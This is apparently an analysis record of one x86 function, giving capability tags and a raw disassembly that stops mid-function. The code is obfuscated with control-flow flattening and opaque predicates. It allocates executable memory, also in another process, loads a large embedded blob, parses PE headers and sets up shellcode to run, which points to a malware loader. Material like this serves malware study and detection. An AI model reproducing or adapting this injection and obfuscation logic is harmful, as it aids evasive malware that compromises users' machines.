Function at 0x40f5a0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x1c0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b8], eax
mov eax, dword [0x47c080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
sub edx, 0xa6d567ec
sub edx, 1
add edx, 0xa6d567ec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x1aa], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x1a9], al
mov dword [ebp - 0x1b0], 0x3ee5e4b1
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1bc], eax
sub eax, 0x82079fcf
je 0x413746
jmp 0x40f623
mov eax, dword [ebp - 0x1bc]
sub eax, 0x837765f3
je 0x413f9b
jmp 0x40f639
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8440338a
je 0x41196f
jmp 0x40f64f
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8445c174
je 0x413e6f
jmp 0x40f665
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8461e720
je 0x411f35
jmp 0x40f67b
mov eax, dword [ebp - 0x1bc]
sub eax, 0x84ae0821
je 0x4129d4
jmp 0x40f691
mov eax, dword [ebp - 0x1bc]
sub eax, 0x852a0cdd
je 0x412a43
jmp 0x40f6a7
mov eax, dword [ebp - 0x1bc]
sub eax, 0x85ee825a
je 0x411e41
jmp 0x40f6bd
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8693f176
je 0x4132ce
jmp 0x40f6d3
mov eax, dword [ebp - 0x1bc]
sub eax, 0x87eefe62
je 0x41270d
jmp 0x40f6e9
mov eax, dword [ebp - 0x1bc]
sub eax, 0x89232c1e
je 0x413dd8
jmp 0x40f6ff
mov eax, dword [ebp - 0x1bc]
sub eax, 0x897d671d
je 0x412c34
jmp 0x40f715
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8a2c95c4
je 0x41206f
jmp 0x40f72b
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8a960367
je 0x412d53
jmp 0x40f741
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8b1543ef
je 0x412e62
jmp 0x40f757
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8be314a3
je 0x412891
jmp 0x40f76d
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8c0dafd6
je 0x412b06
jmp 0x40f783
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8da94a36
je 0x412309
jmp 0x40f799
mov eax, dword [ebp - 0x1bc]
sub eax, 0x906d9ed4
je 0x4137b7
jmp 0x40f7af
mov eax, dword [ebp - 0x1bc]
sub eax, 0x90ca9867
je 0x410ffe
jmp 0x40f7c5
mov eax, dword [ebp - 0x1bc]
sub eax, 0x91239596
je 0x412e44
jmp 0x40f7db
mov eax, dword [ebp - 0x1bc]
sub eax, 0x91dc8fe5
je 0x412172
jmp 0x40f7f1
mov eax, dword [ebp - 0x1bc]
sub eax, 0x926ee33f
je 0x410fad
jmp 0x40f807
mov eax, dword [ebp - 0x1bc]
sub eax, 0x93b4c810
je 0x411636
jmp 0x40f81d
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9569a820
je 0x413255
jmp 0x40f833
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9648f8d8
je 0x413a76
jmp 0x40f849
mov eax, dword [ebp - 0x1bc]
sub eax, 0x96b46c9b
je 0x4141d0
jmp 0x40f85f
mov eax, dword [ebp - 0x1bc]
sub eax, 0x98e14d2c
je 0x4141e5
jmp 0x40f875
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9a312878
je 0x410e97
jmp 0x40f88b
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9b43dd6c
je 0x413aec
jmp 0x40f8a1
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9b825638
je 0x4115b9
jmp 0x40f8b7
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9bed9d05
je 0x410f9e
jmp 0x40f8cd
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9c31bc81
je 0x411ecf
jmp 0x40f8e3
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9ec69620
je 0x413df3
jmp 0x40f8f9
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9f03272c
je 0x411eff
jmp 0x40f90f
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa1dd73b2
je 0x4122fa
jmp 0x40f925
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa20a7550
je 0x410e3f
jmp 0x40f93b
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa3891d1d
je 0x410bc8
jmp 0x40f951
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa3a0dbd4
je 0x410981
jmp 0x40f967
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa4588666
je 0x410d0b
jmp 0x40f97d
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa60c3eab
je 0x412f58
jmp 0x40f993
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa65bd772
je 0x4126fe
jmp 0x40f9a9
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa7017f4c
je 0x4119ff
jmp 0x40f9bf
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa72d9664
je 0x412369
jmp 0x40f9d5
mov eax, dword [ebp - 0x1bc]
sub eax, 0xad2082a3
je 0x4113ee
jmp 0x40f9eb
mov eax, dword [ebp - 0x1bc]
sub eax, 0xad801477
je 0x411294
jmp 0x40fa01
mov eax, dword [ebp - 0x1bc]
sub eax, 0xadf03dff
je 0x410c19
jmp 0x40fa17
mov eax, dword [ebp - 0x1bc]
sub eax, 0xae740bf2
je 0x413bda
jmp 0x40fa2d
mov eax, dword [ebp - 0x1bc]
sub eax, 0xaeb5364b
je 0x412bf6
jmp 0x40fa43
mov eax, dword [ebp - 0x1bc]
sub eax, 0xaeeacb66
je 0x411ca4
jmp 0x40fa59
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb27d8d7d
je 0x4140ce
jmp 0x40fa6f
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb3831dff
je 0x412608
jmp 0x40fa85
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb593a63f
je 0x412e53
jmp 0x40fa9b
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb63b7b07
je 0x411455
jmp 0x40fab1
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb6809f38
je 0x412b24
jmp 0x40fac7
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb718d1b8
je 0x413189
jmp 0x40fadd
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb72b1e18
je 0x4114c3
jmp 0x40faf3
mov eax, dword [ebp - 0x1bc]
sub eax, 0xb935ff56
je 0x413d30
jmp 0x40fb09
mov eax, dword [ebp - 0x1bc]
sub eax, 0xbab6c739
je 0x414214
jmp 0x40fb1f
mov eax, dword [ebp - 0x1bc]
sub eax, 0xbae87b91
je 0x411394
jmp 0x40fb35
mov eax, dword [ebp - 0x1bc]
sub eax, 0xbc0e7d53
je 0x413f2f
jmp 0x40fb4b
mov eax, dword [ebp - 0x1bc]
sub eax, 0xbc456197
je 0x410e18
jmp 0x40fb61
mov eax, dword [ebp - 0x1bc]
sub eax, 0xbe43a7fb
je 0x412596
jmp 0x40fb77
mov eax, dword [ebp - 0x1bc]
sub eax, 0xc107000f
je 0x411a2a
jmp 0x40fb8d
mov eax, dword [ebp - 0x1bc]
sub eax, 0xc14b3563
je 0x412407
mov ecx, dword [ebp - 0x1b8]
push eax
mov eax, esp
mov dword [ebp - 0x1a8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a4], eax
mov eax, 0x46a00
call fcn.0041f320
mov eax, esp
mov dword [ebp - 0x1a0], eax
push eax
mov eax, esp
mov dword [ebp - 0x19c], eax
push eax
mov eax, esp
mov dword [ebp - 0x198], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x194], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x190], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x18c], eax
push eax
mov eax, esp
mov dword [ebp - 0x188], eax
push eax
mov eax, esp
mov dword [ebp - 0x184], eax
push eax
mov eax, esp
mov dword [ebp - 0x180], eax
push eax
mov eax, esp
mov dword [ebp - 0x17c], eax
push eax
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x1a4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1a0]
lea eax, [0x42ed44]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x46a00
call fcn.00420180
add esp, 0xc
mov eax, dword [ebp - 0x1a0]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00
call fcn.0040df70
add esp, 8
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
add edx, 0xf9bb1ae
sub edx, 1
sub edx, 0xf9bb1ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a5b8bd7
mov ecx, 0xcd40b988
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
mov edx, eax
add edx, 0xdf014299
sub edx, 1
sub edx, 0xdf014299
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30bb448f
mov ecx, 0xadf03dff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x19c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0x108], eax
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30bb448f
mov ecx, 0xfb49cc13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0xc2ebc9e9
jmp 0x4142fd
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1b0], 0xa20a7550
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1b4], eax
jmp 0x4142fd
mov ecx, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x100]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov edx, dword [ebp - 0x18c]
mov eax, 0x90ca9867
mov ecx, 0x9a312878
cmp dword [edx + 4], 0
cmove eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x1b0], 0xf8cacd50
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0x926ee33f
jmp 0x4142fd
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov dword [ebp - 0x1b0], 0x90ca9867
jmp 0x4142fd
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00420180
add esp, 0xc
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
sub eax, 0x56d763ac
add eax, 0x18
add eax, 0x56d763ac
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1b0], 0x2cd42b06
jmp 0x4142fd
mov dl, byte [ebp - 0xd5]
mov eax, 0xcfeaf20
mov ecx, 0xde1bd0a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov ecx, dword [ebp - 0xc8]
sub ecx, 0x4d11768
add ecx, 1
add ecx, 0x4d11768
mov eax, dword [ebp - 0x17c]
mov dword [eax], ecx
mov dword [ebp - 0x1b0], 0xd9cb701e
jmp 0x4142fd
mov eax, dword [ebp - 0xc0]
mov esi, dword [eax + 0x1c]
mov edx, dword [ebp - 0xc4]
mov eax, 0x13e128b0
mov ecx, 0x7c64f9e8
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea7e4288
mov ecx, 0xb72b1e18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x18c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xbc]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0x170]
mov dword [eax], 0
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
sub edx, 0xb67bfd57
sub edx, 1
add edx, 0xb67bfd57
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea7e4288
mov ecx, 0x18879826
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 4]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
mov edx, eax
sub edx, 0xf9dbdfd8
sub edx, 1
add edx, 0xf9dbdfd8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34aa0bc6
mov ecx, 0x2b0d5dc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x89232c1e
mov ecx, 0x471c95d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dl, byte [ebp - 0xa6]
mov eax, 0xaeeacb66
mov ecx, 0x1ec780e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x1b0], 0xc107000f
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
sub edx, 0x59e7f2f7
sub edx, 1
add edx, 0x59e7f2f7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8445c174
mov ecx, 0xe983c772
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x1b0], 0x1219f008
jmp 0x4142fd
mov edx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x88]
imul eax, eax, 0x14
add edx, eax
mov eax, 0x87eefe62
mov ecx, 0x2de5e410
cmp dword [edx + 0x10], 0
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov edx, dword [ebp - 0x150]
mov eax, 0xc813030c
mov ecx, 0x9f03272c
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
imul ecx, dword [ecx], 0x14
add eax, ecx
add eax, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x1b0], 0x8461e720
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
sub edx, 0x8d2d160e
sub edx, 1
add edx, 0x8d2d160e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbc0e7d53
mov ecx, 0xdb6e9d5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
add edx, 0x715ca594
sub edx, 1
sub edx, 0x715ca594
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x837765f3
mov ecx, 0xcd1eb23b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dl, byte [ebp - 0x75]
mov eax, 0x26e103f7
mov ecx, 0xcb5c6699
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0x8da94a36
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0xed16580c
jmp 0x4142fd
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x158]
imul edx, dword [edx], 0x14
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub eax, 0x9960ab09
add eax, ecx
add eax, 0x9960ab09
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
shl eax, 2
mov dword [ebp - 0x68], eax
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42f1a07e
mov ecx, 0x4f696cdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe522d6eb
mov ecx, 0x12683475
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0471e48
mov ecx, 0x5f2bccad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0x68c8307f
jmp 0x4142fd
mov eax, dword [ebp - 0x138]
mov dword [eax], 0
mov dword [ebp - 0x1b0], 0x61d7ca
jmp 0x4142fd
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
mov edx, eax
add edx, 0x436c430
sub edx, 1
sub edx, 0x436c430
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ee97522
mov ecx, 0x7ecbb52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dl, byte [ebp - 0x59]
mov eax, 0xdbec3a21
mov ecx, 0xcd209d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x134]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x58], eax
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd416129c
mov ecx, 0x104cf1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov edx, dword [ebp - 0x58]
mov eax, 0x8b1543ef
mov ecx, 0xb6809f38
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
sub edx, 0x634d1582
sub edx, 1
add edx, 0x634d1582
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6eee378b
mov ecx, 0x2c97978a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0x11d5b35a
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
sub edx, 0xe95748a0
sub edx, 1
add edx, 0xe95748a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8055af9
mov ecx, 0x12f9218a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dl, byte [ebp - 0x4d]
mov eax, 0x8b1543ef
mov ecx, 0xcc9db960
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0xb593a63f
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0xdc5137d7
jmp 0x4142fd
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
mov edx, eax
add edx, 0xfe3e6e20
sub edx, 1
sub edx, 0xfe3e6e20
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35b567f1
mov ecx, 0xee28e223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x80000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov dword [ebp - 0x1b0], 0x3f8caed4
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0x4b9f82c4
jmp 0x4142fd
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xbb3efd65
or eax, edx
or ecx, 0xbb3efd65
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1b0], 0xdaa29b57
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0x34501efe
jmp 0x4142fd
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
